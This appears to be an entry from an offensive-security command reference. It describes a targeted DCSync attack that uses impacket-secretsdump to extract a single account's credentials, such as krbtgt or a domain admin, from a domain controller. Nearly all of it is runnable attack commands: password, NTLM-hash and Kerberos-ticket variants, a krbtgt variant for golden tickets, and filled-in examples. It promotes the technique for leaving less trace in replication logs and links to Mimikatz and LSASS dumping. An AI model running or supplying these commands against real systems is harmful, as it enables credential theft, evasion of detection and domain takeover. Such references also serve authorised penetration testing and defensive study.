Impacket Targeted DCSync (Single User)
DCSync only one specific account instead of replicating the whole NTDS. Massively reduces noise on the wire and in the DC's directory replication logs. Useful when you only need krbtgt, a domain admin, or a single service account.
- Tool
- impacket-secretsdump
- Category
- Credential Attacks / Hash Dumping
- Platform
- linux
- Requires
- password
- Protocols
- SMB, RPC
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
impacket-secretsdump -just-dc-user <target_user> '<domain>/<user>:<password>@<dc-ip>'
Credential variants
The same attack using a different authentication material.
NTLM Hash requires NTLM hash
impacket-secretsdump -just-dc-user <target_user> -hashes ':<hash>' '<domain>/<user>@<dc-ip>'
Kerberos Ticket requires Kerberos ticket
impacket-secretsdump -k -no-pass -just-dc-user <target_user> '<domain>/<user>@<dc-fqdn>'
Krbtgt Only (for Golden) requires password
impacket-secretsdump -just-dc-user 'krbtgt' '<domain>/<user>:<password>@<dc-ip>'
Examples
impacket-secretsdump -just-dc-user krbtgt 'CORP/admin:Password123!@10.10.10.10'
impacket-secretsdump -k -no-pass -just-dc-user administrator 'CORP/admin@dc01.corp.local'
Tags
References
Related commands
- Impacket DPAPI Masterkey Decrypt DPAPI masterkey using user password to derive DPAPI encryption key
- Impacket Secrets Dump Dump hashes from remote Windows system (SAM, LSA, NTDS)
- Lsassy LSASS Dump Remotely dump LSASS credentials using lsassy
- Mimikatz Credential Dump Extract plaintext passwords and hashes from all available sources
- Mimikatz dpapi::masterkey Decrypt a DPAPI master key using the owner's plaintext password (or NT hash). Required…
- Mimikatz lsadump::dcsync Pull a single user's NT hash and Kerberos keys directly from a DC via the MS-DRSR…
- Mimikatz lsadump::sam Extract local SAM hashes (built-in Administrator, local users) from a live Windows host.…
- Mimikatz sekurlsa::logonpasswords Dump credentials (NT hashes, Kerberos keys, plaintext where wdigest is enabled, MSV1_0)…